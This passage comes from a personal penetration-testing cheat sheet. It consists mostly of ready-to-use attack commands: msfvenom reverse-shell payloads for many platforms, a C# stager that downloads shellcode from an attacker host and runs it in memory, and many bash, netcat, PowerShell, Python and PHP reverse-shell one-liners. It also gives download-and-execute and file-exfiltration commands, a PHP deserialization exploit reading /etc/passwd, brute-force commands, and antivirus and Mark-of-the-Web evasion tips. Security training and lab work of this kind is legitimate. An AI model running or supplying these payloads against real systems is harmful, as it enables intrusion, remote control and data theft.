* Integration with other Sysinternals tools like Autoruns and TCPView.

* '''Use Case:''' Process Monitor is often used to troubleshoot issues related to file system or registry access, such as debugging application failures, identifying permission problems, or tracking down malware activities.

=== Process Hacker ===

[https://processhacker.sourceforge.io/ https://processhacker.sourceforge.io/]

* '''Focus:''' Process Hacker aims to provide an advanced task manager with detailed process information and control options.

* '''Features:'''
Comprehensive process details, memory usage, and performance metrics.

* Real-time graphs for system resource monitoring.

* Advanced process management, including termination, suspension, and prioritization.

* Tools for viewing and manipulating network connections and memory content.

* Support for plugins to extend functionality.

* '''Common Uses:''' In-depth process analysis, identifying resource bottlenecks, managing and troubleshooting running processes.

----

== Msfvenom commands ==

=== What is exitfunc= in msfvenom ===

Exitfunc tells the payload what to do when it is done with its attack. It can be one of these four options:

* none: do nothing and keep running

* seh: use a special technique to exit without crashing

* thread: stop the part of the program that runs the payload and leave the rest alone

* process: kill the whole program that runs the payload

The best option depends on the situation and the goal of the attack. For example, if you want to be stealthy and avoid detection, you might choose thread or seh. If you want to cause damage and disruption, you might choose process or none. You can learn more about exitfunc and its options from this article.

=== ASP ===

<syntaxhighlight lang="bash">
ASP or ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx > rev_shell.asp or aspx
</syntaxhighlight>

=== Bash ===

=== hta ===

<syntaxhighlight lang="bash">
# Use msfvenom to turn basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell.
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta
</syntaxhighlight>

=== JSP ===

<syntaxhighlight lang="bash">
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
</syntaxhighlight>

=== WAR ===

<syntaxhighlight lang="bash">
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
</syntaxhighlight>

=== PHP ===

<syntaxhighlight lang="bash">
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
msfvenom -p php/reverse_php LHOST= LPORT= -f raw > shell.php
</syntaxhighlight>

=== Python ===

<syntaxhighlight lang="bash">
Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
</syntaxhighlight>

=== Perl ===

<syntaxhighlight lang="bash">
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
</syntaxhighlight>

=== Powershell ===

<syntaxhighlight lang="bash">
# Very important! Remember to choose correct CPU architecture before generating payload. If using for macro, Word will usually open PowerShell in 32-bit since it opens PowerShell from SysWOW64. Otherwise, use 64-bit. Always check target CPU arch before generating.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f ps1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f psh -o shell.ps1
</syntaxhighlight>

=== Linux ===

<syntaxhighlight lang="bash">
# Linux x64
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x64.elf
# Linux x86
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x86.elf
# UNIX CMD
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
# Fork a new process, xor encrypted
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun1 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf
</syntaxhighlight>

=== OSX ===

<syntaxhighlight lang="bash">
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
</syntaxhighlight>

=== Windows ===

<syntaxhighlight lang="bash">
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
MSI
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f msi > rev_shell.msi
Windows x64
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_x64_shell.exe
Windows
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.185 LPORT=443 -f psh-cmd
Windows encoded payload
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f python
-e = encoding
-i = iteration (how many times to encode the payload)
-b = bad character
Stageless
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_shell.exe
Staged
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_shell.exe
Generating shellcode
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
</syntaxhighlight>

----

== Fuzzers ==

=== ffuf ===

[https://www.tsustyle.com/cheatsheets/ffuf-cheatsheet/ Source]

<syntaxhighlight lang="bash">
# Generic
ffuf -w wordlist.txt -u http://site.com/FUZZ
# File discovery using extensions
ffuf -w wordlist.txt -u http://site.com/FUZZ -e .php,.html
# Vhost
ffuf -w subdomains.txt -u http://site.com/ -H "Host: FUZZ.site.com"
# Login forms generic
ffuf -w /wordlist -d "username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -u http://site.com/login
# POST bruteforce. -fs means filter out size 17.
ffuf -X POST -H 'Content-Type: application/json' -d '{"user":"FUZZ", "url":"192.168.49.153/shell.elf"}' -u http://192.168.153.134:13337/update -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 17

</syntaxhighlight>

=== wfuzz ===

----

== Password Cracking ==

=== Hashcat ===

Example commands

{| class="wikitable"
|-
! Attack-mode
! Hash-type
! Example command
|-
| Wordlist
| $P$
| hashcat -a 0 -m 400 example400.hash example.dict
|-
| Wordlist + Rules
| MD5
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule
|-
| Brute-Force
| MD5
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a
|-
| Combinator
| MD5
| hashcat -a 1 -m 0 example0.hash example.dict example.dict
|-
| Association
| $1$
| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule
|}
https://hashcat.net/wiki/doku.php?id=hashcat

==== Mask attack ====

{| class="wikitable"
|-
| ?l =
| abcdefghijklmnopqrstuvwxyz
|-
| ?u
| ABCDEFGHIJKLMNOPQRSTUVWXYZ
|-
| ?d
| 0123456789
|-
| ?h
| 0123456789abcdef
|-
| ?H
| 0123456789ABCDEF
|-
| ?s
| «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
|-
| ?a
| ?l?u?d?s
|-
| ?b
| 0x00 - 0xff
|}
https://hashcat.net/wiki/doku.php?id=mask_attack

<syntaxhighlight lang="bash">
# Example command
hashcat.exe --session session1 -m 22000 --force -a 0 -w 3 hash2.hc22000 "C:\Users\user\Skrivebord\hashcat-6.2.4\SecLists-master\Passwords\WiFi-WPA\*" -r "rules\best64.rule"
# Restore session
hashcat.exe --session session1 --restore
# Show cracked hashes
hashcat.exe hash2.hc22000 -m 22000 --show
</syntaxhighlight>

=== Hydra ===

{| class="wikitable"
|-
| Command
| Description
|-
| hydra -P <wordlist> -v <ip> <protocol>
| Brute force against a protocol of your choice
|-
| hydra -v -V -u -L <username list> -P <password list> -t 1 -u <ip> <protocol>
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)
|-
| hydra -t 1 -V -f -l <username> -P <wordlist> rdp://<ip>
| Attack a Windows Remote Desktop with a password list.
|-
| hydra -l <username> -P .<password list> $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
| Craft a more specific request for Hydra to brute force.
|}
https://www.tryhackme.com/room/hackpark

=== John The Ripper ===

https://blog.aghanim.net/?p=1022

----

== PHP ==

=== shell_exec ===

<syntaxhighlight lang="php">
# If RFI dosent execute script, try this
# Create exploit.php
# cat exploit.php

# Execute
http://10.11.1.35/section.php?page=http://192.168.119.182:8888/exploit3.php
</syntaxhighlight>

=== Deserialization attack ===

See notes for Deployer

<syntaxhighlight lang="bash">
# In the index file below there is a PHP objection injection. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]
└─# cat 192.168.153.158/web/dev/index.php
file);
}
}
if (!isset($_POST['page'])){
if (strpos(urldecode($_GET['page']),'..')!==false){
include('/var/www/dev/lfi-prev.html');
}
else{
include('/var/www/dev/'.$_GET['page']);
}
}
else{
$f=$_POST['page'];
unserialize($f);
}
?>

# Create a PHP script that will create a serialized script. Notice the class is the same as the index.php. We then take the variable $f. '->' is used in object scope to access methods and properties of an object.
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]
└─# cat real_exploit.php
file);
}
}
$f = new Page;
$f->file='/etc/passwd';
echo urlencode(serialize($f));
?>

# Then we send the output string, which is urlencoded, to the vulnerable parameter and we will have LFI.
┌──(root💀kali)-[/home/aghanim/Desktop/PG/deployer]
└─# curl -XPOST -d 'page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D ' http://und3r_dev.deployer.off/index.php

</syntaxhighlight>

----

== Transfering files ==

=== A list of all commands ===

<syntaxhighlight lang="bash">
# CMD
# Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
# CertReq.exe
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
# Certutil.exe
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
# CrackMapExec
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Desktopimgdownldr.exe
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
# Diantz.exe
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
# Esentutl.exe
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
# Expand.exe
expand \\webdav\folder\file.bat c:\ADS\file.bat
# Extrac32.exe
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
# Findstr.exe
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
# Ftp.exe
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
# GfxDownloadWrapper.exe
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
# Hh.exe
HH.exe http://some.url/script.ps1
# Ieexec.exe
ieexec.exe http://x.x.x.x:8080/bypass.exe
# Makecab.exe
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
# MpCmdRun.exe
MpCmdRun.exe -DownloadFile -url -path //Windows Defender executable
# Replace.exe
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
# Excel.exe
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
# Powerpnt.exe
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Squirrel.exe
squirrel.exe --download [url to package]
# Update.exe
Update.exe --download [url to package]
# Winword.exe
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Wsl.exe
wsl.exe --exec bash -c 'cat binary'
</syntaxhighlight>

<syntaxhighlight lang="bash">
# POWERSHELL
# System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
# Invoke-WebRequest
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
# Wget
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
# BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
# Base64 Kali & EncodedCommand
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand
</syntaxhighlight>

=== CrackMapExec ===

<syntaxhighlight lang="bash">
# Send a local file to the remote target
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Get a remote file on the remote target
crackmapexec smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt
</syntaxhighlight>

=== Certutil ===

Easiest way to transfer to Windows

<syntaxhighlight lang="bash">
certutil -urlcache -split -f "http://ip-addr:port/file" [output-file]
# Example - This will upload a shell to temp, and run execute it using cmd.exe
certutil -urlcache -split -f "http://192.168.49.233/shell.exe" C:\windows\temp\shell.exe && cmd.exe /c C:\windows\temp\shell.exe
</syntaxhighlight>

=== CMD ===

<syntaxhighlight lang="bash">
bitsadmin /transfer job /download /priority high http://192.168.49.75/nc.exe c:\\windows\\temp\\nc.exe
</syntaxhighlight>

=== tfpt ===

<syntaxhighlight lang="bash">
# Install tftp and configure a TFTP server on the attacker and create a directory to store and serve files. Update ownership in order to send files. Run it as a daemon on port 69
kali@kali:~$ sudo apt update && sudo apt install atftp
kali@kali:~$ sudo mkdir /tftp
kali@kali:~$ sudo chown nobody: /tftp
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp
# On target
tftp -i 10.11.0.4 put important.docx
</syntaxhighlight>

=== Encrypted python3 http.server ===

<syntaxhighlight lang="bash">
# Create self signed cert
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
</syntaxhighlight>

<syntaxhighlight lang="bash">
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"
</syntaxhighlight>

=== Evil-winrm ===

<syntaxhighlight lang="bash">
# Upload file
upload shell.exe
# Download file
Download target.file
</syntaxhighlight>

=== Netcat ===

Must have nc.exe binary on the target machine.

<syntaxhighlight lang="bash">
# Attacking machine command
nc -lvnp 4444 > FiletoDownload
## Victim machine command
nc.exe 10.10.10.100 4444 -w 3 < Filetodownload
</syntaxhighlight>

=== Rejetto HFS - HTTP File Server (GUI based) ===

Rejetto is very light weight and works on linux (wine) and Windows to transfer files to a target over http using GUI.

If you have RDP this tool works great.

[https://www.rejetto.com/hfs/ https://www.rejetto.com/hfs/]

[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]

=== Tiny Http Server - Rebex ===
Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.

https://www.rebex.net/tiny-web-server/

==== Transfer from attacker to target ====

[[File:2023-01-image-2.png|thumb]]

Drag and drop files you want to transfer. Change port by clicking on 'Port:' or change IP by going to Menu and 'IP Adress'.

On target either open browser or wget, curl, etc

<syntaxhighlight lang="bash">
wget http://192.168.1.98:443/nmap.txt
</syntaxhighlight>

==== Transfer from target to attacker ====

[https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads]

<syntaxhighlight lang="bash">
# Step-by-step
## First, define a real folder. To do this:
# Add a folder.
## Choose real folder.
## You should now see a RED folder in your virtual file system, inside HFS.
## Right click on this folder.
## Set Upload → upload for accounts → anyone
## Now anyone who has access to your HFS server can upload files to you.
</syntaxhighlight>

[[File:2023-01-image-3.png|thumb]]

Anyone can upload

[[File:2023-01-image-4.png|thumb]]

[[File:2023-01-image-5.png|thumb]]

Click on on the folder 'Upload HFS'

[[File:2023-01-image-6.png|thumb]]

Now anyone can upload files

=== SCP ===

<syntaxhighlight lang="bash">
# From target to attacher
scp aghanim@192.168.1.242:C:/Users/testuser/Desktop/file .
# From attacker to target
scp file.txt aghanim@192.168.1.242:C:/Users/testuser/Desktop/
</syntaxhighlight>

=== SMBServer ===

Create a smbserver with share name "share", and location of folder to share

<syntaxhighlight lang="bash">
smbserver.py share /home/aghanim/Desktop/
## If target only supports smbserver2
smbserver.py share . -smb2support
## On target CMD
\\smbserver-ip\share\$FILE_NAME
## Copy file to target
copy \\smbserver-ip\share\$FILE_NAME .
## Copy file from target to attacker
copy FileToDownload \\smbserver-ip\share\FileToDownload
## SMBserver with username and password
/usr/bin/impacket-smbserver share . -smb2support -username test -password 123
</syntaxhighlight>

=== Powershell ===

Must use single quote for URL. Worsk for Windows 7 & 2008 and above.

<syntaxhighlight lang="powershell">
powershell -c (New-Object Net.WebClient).DownloadFile('http://ip-addr:port/file', 'output-file')
</syntaxhighlight>

=== Powercat ===

<syntaxhighlight lang="bash">
# Attacker
sudo nc -lnvp 443 > receiving_powercat.ps1
# Target
powercat -c 10.11.0.4 -p 443 -i C:\Users\aghanim\powercat.ps1
</syntaxhighlight>

==== Python ====

<syntaxhighlight lang="bash">
# Attacker
python3 -m http.server 8080
python2 -m SimpleHTTPServer 8080
# Target
wget http://ip:port/file
curl http://ip:port/file
</syntaxhighlight>

=== Windows upload using php and powershell ===

<syntaxhighlight lang="bash">
# On attacker, create a php upload script and host it on apache2 server

# On target, upload files using this command.
powershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php', 'important.docx')
</syntaxhighlight>

----

== Shellcode and Staged payloads ==

=== csharp stager ===

<syntaxhighlight lang="csharp">
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
string url = "https://ATTACKER_IP/shellcode.bin";
Stager(url);
}
public static void Stager(string url)
{
WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
byte[] shellcode = wc.DownloadData(url);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
</syntaxhighlight>

=== Msfvenom Staged payload ===

<syntaxhighlight lang="bash">
msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
# -b '\x00\x0a\x0d': Sets a list of characters to avoid in the generated shellcode. The characters '\x00\x0a\x0d' correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.
</syntaxhighlight>

----

== Bind shells ==

https://blog.aghanim.net/?p=1043

=== Powercat ===

<syntaxhighlight lang="bash">
powercat -l -p 443 -e cmd.exe
</syntaxhighlight>

----

== Reverse shells ==

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]

=== Reverse Shell Generator ===

[https://www.revshells.com/ https://www.revshells.com/]

=== hoaxshell ===

Currently undetected by Microsoft and most AV (12.10.2022)

<syntaxhighlight lang="bash">
# https://github.com/t3l3machus/hoaxshell
──(root💀kali)-[/opt/hoaxshell]
└─# python3 hoaxshell.py -s 192.168.1.59 -p 4444 1 ⨯
┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬ ┬
├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤ │ │
┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘
by t3l3machus
[Info] Generating reverse shell payload...
powershell -e JABzAD0AJwAxADkAMgAuADEANg....
[Info] Type "help" to get a list of the available prompt commands.
[Info] Http Server started on port 4444.
[Important] Awaiting payload execution to initiate shell session...
[Shell] Payload execution verified!
[Shell] Stabilizing command prompt...
PS C:\Users\AlaaG > whoami
laptop-\alaag
PS C:\Users\AlaaG > systeminfo
Host Name: LAPTOP-
OS Name: Microsoft Windows 11 Home
OS Version: 10.0.22000 N/A Build 22000
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
</syntaxhighlight>

=== ICMP Reverse Shell ===

<syntaxhighlight lang="bash">
# https://github.com/krabelize/icmpdoor
# https://cryptsus.com/blog/icmp-reverse-shell.html
## Python version usage (both Windows and Linux):
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control)
./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)
## Binary Windows version usage version:
./icmp-cnc.exe -d VICTIM-IP (Command and Control)
./icmpdoor.exe -d CNC-IP (Implant)
## Binary Linux version usage version:
./icmp-cnc -d VICTIM-IP (Command and Control)
./icmpdoor -d CNC-IP (Implant)
</syntaxhighlight>

=== BASH TCP ===

<syntaxhighlight lang="bash">
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0/dev/tcp/10.0.0.1/4242; sh &196 2>&196
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0&1
## Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
</syntaxhighlight>

=== BASH UDP ===

<syntaxhighlight lang="bash">
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
nc -u -lvp 4242
</syntaxhighlight>

=== ngrok - Catcha reverse shell from the internet ===

[https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness][https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf Download]

<syntaxhighlight lang="bash">
# On attacker (term1)
ngrok tcp 4444
# On attacker (term2)
nc -lvp 4444
# On target, use your reverse shell payload on the ngrok tunnel target
nc 0.tcp.ngrok.io -e /bin/sh
-----
# Another method if there is a proxy and firewall.
# Setup free domain. (Custom domain is a paid feature)
https://dashboard.ngrok.com/cloud-edge/domains
ngrok http --domain=ngrok-provided-domain.ngrok-free.app
# On attacker
nc -lvnp
</syntaxhighlight>

=== Netcat Traditional ===

<syntaxhighlight lang="bash">
nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242
</syntaxhighlight>

=== Netcat BusyBox ===

<syntaxhighlight lang="bash">
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
</syntaxhighlight>

=== nc.exe ===

<syntaxhighlight lang="bash">
nc.exe -e cmd.exe attacker_ip attacker_port
</syntaxhighlight>

=== PHP ===

<syntaxhighlight lang="php">
php -r '$sock=fsockopen("10.10.14.17",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
# Base64 encoded webshell
""
"& /dev/tcp/192.168.49.129/80 0>&1'); ?>"
</syntaxhighlight>

=== Powershells ===

<syntaxhighlight lang="powershell">
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
</syntaxhighlight>

<syntaxhighlight lang="powershell">
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
</syntaxhighlight>

<syntaxhighlight lang="powershell">
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
</syntaxhighlight>

=== Powershell base64 encoded reverse shell payload ===

<syntaxhighlight lang="bash">
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge > encodedreverseshell.ps1
</syntaxhighlight>

=== Powercat ===

<syntaxhighlight lang="bash">
powercat -c 10.11.0.4 -p 443 -e cmd.exe
</syntaxhighlight>

=== Python ===

<syntaxhighlight lang="python">
import os,pty,socket;s=socket.socket();s.connect(("192.168.49.169",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
</syntaxhighlight>

=== Stabilize shell (Interactive shell) ===

==== Linux ====

<syntaxhighlight lang="bash">
python -c 'import pty;pty.spawn(“/bin/bash”)'
export TERM=xterm
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.
https://blog.aghanim.net/?p=1043
</syntaxhighlight>

==== Windows ====

<syntaxhighlight lang="bash">
# In you have unstable shell in Windows, try to get a new shell using Nishang Invoke-PowershellTcp.ps1
# 1. Edit Nishang script and add
Invoke-PowerShellTcp -Reverse -IpAddress -Port
# 2. Start a new netcat listener
# 3. Start simple http.severe where the nishang script is
# 4. On target. (Make sure powershell is enabled and allowed to use)
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://LOCALIP:LOCALPORT/invoke-powershelltcp.ps1')
</syntaxhighlight>

=== Fix TTY in reverse shell ===

<syntaxhighlight lang="bash">
# In our shell. Remember the rows anc cols
stty -a
# On victim shell
stty rows cols
</syntaxhighlight>

----

== PackMyPayload ==

[https://github.com/mgeeky/PackMyPayload mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag & demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX (github.com)]

Smuggle payloads using various file formats:

* <code>7zip</code>

* <code>zip</code>

* <code>ISO</code>

* <code>IMG</code>

<syntaxhighlight lang="bash">
# Pack a dir to .iso
PackMyPayload.py C:\my\dir malicious.iso -v
# Pack a malicious code to .vhd
PackMyPayload.py .\evil.lnk .\evil.vhd
</syntaxhighlight>

== Persistence ==

=== Windows ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md]

=== Linux ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md]

----

== Phishing ==

=== Bypass 2-Fa ===

[https://www.youtube.com/watch?v=FwGeBW6OurM&t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]

[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]

----

== Programming ==

=== Control flow - Logic Statement ===

{| class="wikitable"
|-
| Logic Statement
| Purpose
|-
| if/else
| Executes only if a condition is met, else it will execute a different code block
|-
| try/catch
| Will try to execute a code block and catch it if it fails to handle errors.
|-
| switch case
